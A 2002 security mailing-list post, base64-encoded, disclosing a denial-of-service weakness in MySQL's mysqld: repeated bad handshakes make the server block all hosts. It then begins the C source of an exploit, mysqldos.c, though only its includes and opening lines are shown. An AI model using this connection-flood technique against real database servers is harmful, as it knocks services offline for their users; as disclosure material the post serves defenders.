DoS against mysqld
Date: Fri, 23 Aug 2002 12:19:19 +0200
From: "[email protected]" <[email protected]>
To: [email protected]
Subject: DoS against mysqld
SWYgYXJlIGNyZWF0ZSBtb3JlIHRoYW4gZWxldmVuIGJhZCBjb25uZWN0aW9uIChleC4gQmFk
IEhhbmRzaGFrZSkgDQphdCBwb3J0IG15c3FsZCwgdGhlIHNlcnZlciwgZnJvbSB0aGlzIHRp
bWUsIGJsb2NrIGFsbCBpbmNvbWluZw0KY29ubmVjdGlvbnMuDQoNClRoaXMgaXMgdGhlIGVy
cm9yOg0KDQpteXNxbD4gY29ubmVjdCB0ZXN0IDEyNy4wLjAuMQ0KRVJST1IgMTEyOTogSG9z
dCAnbG9jYWxob3N0LmxvY2FsZG9tYWluJyBpcyBibG9ja2VkIGJlY2F1c2Ugb2YgbWFueQ0K
Y29ubmVjdGlvbiBlcnJvcnMuICBVbmJsb2NrIHdpdGggJ215c3FsYWRtaW4gZmx1c2gtaG9z
dHMnDQoNClRoaXMgaXMgdGhlIGV4cGxvaXQ6DQoNCg0KLyogDQpteXNxbGRvcy5jIA0KRk9S
IEVEVUNBVElPTkFMIFBVUlBPU0UNCkx1Y2EgRXJjb2xpIGx1Y2EuZXJjb2xpQGlud2luZC5p
dA0KdGVzdGVkIGFnYWluc3QgdmVyIDMuMjMuNDlhDQoqLw0KDQojaW5jbHVkZSA8bmV0ZGIu
aD4NCiNpbmNsdWRlIDxzeXMvdHlwZXMuaD4NCiNpbmNsdWRlIDxuZXRpbmV0L2luLmg+DQoj
aW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPHVuaXN0ZC5oPg0KDQojZGVmaW5l
IFBPUlQgMzMwNg0KDQppbnQgbWFpbihpbnQgYXJnYywgY2hhciAqYXJndltdKXsNCg0KaW50
IHNvY2tmZDsNCnN0cnVjdCBob3N0ZW50ICpoZTsNCnN0cnVjdCBzb2NrYWRkcl9pbiB0aGVp
cl9hZGRyOw0KDQppbnQgYzsJDQppbnQgb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